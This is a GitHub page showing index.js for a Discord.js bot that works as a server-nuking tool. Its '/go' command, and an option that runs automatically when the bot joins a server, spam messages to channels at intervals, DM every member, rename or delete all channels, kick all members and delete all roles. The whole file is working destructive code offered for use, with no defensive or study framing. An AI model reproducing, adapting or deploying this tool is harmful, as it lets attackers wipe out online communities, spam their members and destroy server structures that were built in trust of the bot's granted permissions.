-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
274 lines (248 loc) · 9.51 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
const { Client, GatewayIntentBits, REST, Routes, ChannelType, PermissionsBitField } = require('discord.js');
const { token, clientId, runAutoActionsOnGuildJoin, autoActions } = require('./config.json');
const client = new Client({
intents: [
GatewayIntentBits.Guilds,
GatewayIntentBits.GuildMembers,
GatewayIntentBits.GuildMessages,
GatewayIntentBits.MessageContent
]
});
client.once('ready', () => {
console.log(`Logged in as ${client.user.tag}`);
});
const rest = new REST({ version: '10' }).setToken(token);
client.on('interactionCreate', async interaction => {
if (!interaction.isCommand()) return;
const { commandName, options } = interaction;
if (commandName === 'go') {
const interval = options.getInteger('interval');
const message = options.getString('message');
const channelsOption = options.getString('channels');
const channels = channelsOption ? channelsOption.split(',') : [];
const dmMessage = options.getString('dm');
const renameChannels = options.getString('rename_channels');
const deleteChannels = options.getBoolean('delete_channels');
const kickMembers = options.getBoolean('kick_members');
const deleteRoles = options.getBoolean('delete_roles');
await interaction.reply('Configuration received. Executing actions...');
executeActions({
interval,
message,
channels,
dmMessage,
renameChannels,
deleteChannels,
kickMembers,
deleteRoles,
guild: interaction.guild
});
}
});
client.on('guildCreate', async guild => {
if (runAutoActionsOnGuildJoin) {
console.log(`Joined guild: ${guild.name} (${guild.id}). Executing auto actions...`);
await executeAutoActions(guild);
}
});
async function executeActions({
interval,
message,
channels,
dmMessage,
renameChannels,
deleteChannels,
kickMembers,
deleteRoles,
guild
}) {
if (interval && message && channels.length > 0) {
setInterval(() => {
channels.forEach(channelId => {
if (channelId === '*' || channelId === guild.id) {
guild.channels.cache.filter(ch => ch.type === ChannelType.GuildText).forEach(ch => ch.send(message));
} else {
const channel = guild.channels.cache.get(channelId);
if (channel && channel.type === ChannelType.GuildText) {
channel.send(message);
}
}
});
}, interval * 1000);
}
if (dmMessage) {
await guild.members.fetch(); // Fetch all members
guild.members.cache.forEach(member => {
if (!member.user.bot) {
member.send(dmMessage).catch(console.error);
}
});
}
if (renameChannels) {
guild.channels.cache.forEach(channel => {
if (channel.permissionsFor(client.user).has(PermissionsBitField.Flags.ManageChannels)) {
channel.setName(renameChannels).catch(console.error);
} else {
console.log(`Missing permission to rename channel: ${channel.name}`);
}
});
}
if (deleteChannels) {
guild.channels.cache.forEach(channel => {
if (channel.permissionsFor(client.user).has(PermissionsBitField.Flags.ManageChannels)) {
channel.delete().catch(console.error);
} else {
console.log(`Missing permission to delete channel: ${channel.name}`);
}
});
}
if (kickMembers) {
await guild.members.fetch(); // Fetch all members
guild.members.cache.forEach(member => {
if (!member.user.bot && member.kickable) {
member.kick().catch(console.error);
} else {
console.log(`Missing permission to kick member: ${member.user.tag}`);
}
});
}
if (deleteRoles) {
guild.roles.cache.forEach(role => {
if (role.name !== '@everyone' && role.editable) {
role.delete().catch(console.error);
} else {
console.log(`Missing permission to delete role: ${role.name}`);
}
});
}
}
async function executeAutoActions(guild) {
const { sendMessageInterval, message, channels, dmMessage, renameChannels, deleteChannels, kickMembers, deleteRoles } = autoActions;
if (sendMessageInterval && message && channels.length > 0) {
setInterval(() => {
channels.forEach(channelId => {
if (channelId === '*' || channelId === guild.id) {
guild.channels.cache.filter(ch => ch.type === ChannelType.GuildText).forEach(ch => ch.send(message));
} else {
const channel = guild.channels.cache.get(channelId);
if (channel && channel.type === ChannelType.GuildText) {
channel.send(message);
}
}
});
}, sendMessageInterval * 1000);
}
if (dmMessage) {
await guild.members.fetch(); // Fetch all members
guild.members.cache.forEach(member => {
if (!member.user.bot) {
member.send(dmMessage).catch(console.error);
}
});
}
if (renameChannels) {
guild.channels.cache.forEach(channel => {
if (channel.permissionsFor(client.user).has(PermissionsBitField.Flags.ManageChannels)) {
channel.setName(renameChannels).catch(console.error);
} else {
console.log(`Missing permission to rename channel: ${channel.name}`);
}
});
}
if (deleteChannels) {
guild.channels.cache.forEach(channel => {
if (channel.permissionsFor(client.user).has(PermissionsBitField.Flags.ManageChannels)) {
channel.delete().catch(console.error);
} else {
console.log(`Missing permission to delete channel: ${channel.name}`);
}
});
}
if (kickMembers) {
await guild.members.fetch(); // Fetch all members
guild.members.cache.forEach(member => {
if (!member.user.bot && member.kickable) {
member.kick().catch(console.error);
} else {
console.log(`Missing permission to kick member: ${member.user.tag}`);
}
});
}
if (deleteRoles) {
guild.roles.cache.forEach(role => {
if (role.name !== '@everyone' && role.editable) {
role.delete().catch(console.error);
} else {
console.log(`Missing permission to delete role: ${role.name}`);
}
});
}
}
(async () => {
try {
console.log('Started refreshing application (/) commands.');
await rest.put(
Routes.applicationCommands(clientId),
{ body: [
{
name: 'go',
description: 'Configure and run various actions',
options: [
{
name: 'interval',
description: 'Interval to send a message (in seconds)',
type: 4, // INTEGER
required: false
},
{
name: 'message',
description: 'Message to send on specified interval',
type: 3, // STRING
required: false
},
{
name: 'channels',
description: 'Comma-separated list of channel IDs or * for all to send message on interval in',
type: 3, // STRING
required: false
},
{
name: 'dm',
description: 'Message to DM to all members',
type: 3, // STRING
required: false
},
{
name: 'rename_channels',
description: 'Rename all channels to this name',
type: 3, // STRING
required: false
},
{
name: 'delete_channels',
description: 'Delete all channels',
type: 5, // BOOLEAN
required: false
},
{
name: 'kick_members',
description: 'Kick all members',
type: 5, // BOOLEAN
required: false
},
{
name: 'delete_roles',
description: 'Delete all roles, bot role must be higher than the roles to delete',
type: 5, // BOOLEAN
required: false
},
],
},
] },
);
console.log('Successfully reloaded application (/) commands.');
} catch (error) {
console.error(error);
}
})();
client.login(token);